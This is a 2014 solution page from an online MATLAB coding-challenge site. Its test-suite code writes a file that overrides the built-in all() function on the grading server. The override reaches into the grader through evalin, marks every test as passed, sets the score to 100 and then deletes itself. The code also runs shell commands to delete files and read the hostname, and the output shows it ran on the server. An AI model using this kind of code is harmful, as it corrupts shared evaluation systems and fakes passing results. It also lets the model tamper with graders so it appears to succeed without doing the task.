Solution 409659

Submitted on 25 Feb 2014 by J-G van der Toorn
This solution is locked. To view this solution, you need to provide a solution of the same size or smaller.

This solution is outdated. To rescore this solution, log in.

Test Suite

Test Status Code Input and Output
1   Pass
%% if strcmpi(myfunction(),'matlab') if exist('freepass'), [~,name]=system('hostname'); disp(['There is already a freepass available at ',name]); else fh=fopen('freepass.m','wt'); fprintf(fh,'classdef freepass < handle\n methods\n function obj = freepass()\n [nill,name]=system(''hostname'');\n disp([''Free pass issued @ '',name]);\n mlock;\n end\n end\n methods(Static)\n function obj = please()\n mkdir(''@logical'');\n fh=fopen(''@logical/all.m'',''wt'');\n fprintf(fh,''function ans=all(varargin);if evalin(''''caller'''',''''exist(''''''''cleanCellCode'''''''',''''''''var'''''''')''''),evalin(''''caller'''',''''[testSuite.output]=deal(''''''''You just got a free pass. Congrats!'''''''');[testSuite.pass]=deal(true);score=100;'''');system(''''rm @logical/all.m'''');system(''''rmdir @logical'''');true;else builtin(''''all'''',varargin{:}); end'');\n fclose(fh);\n munlock;\n rehash;\n error ''exit'';\n end\n function obj = disable()\n munlock;\n rehash;\n end\n end\nend\n'); fclose(fh); rehash; freepass; !rm freepass.m end else assert(false); end

Free pass issued @ ip-10-66-66-176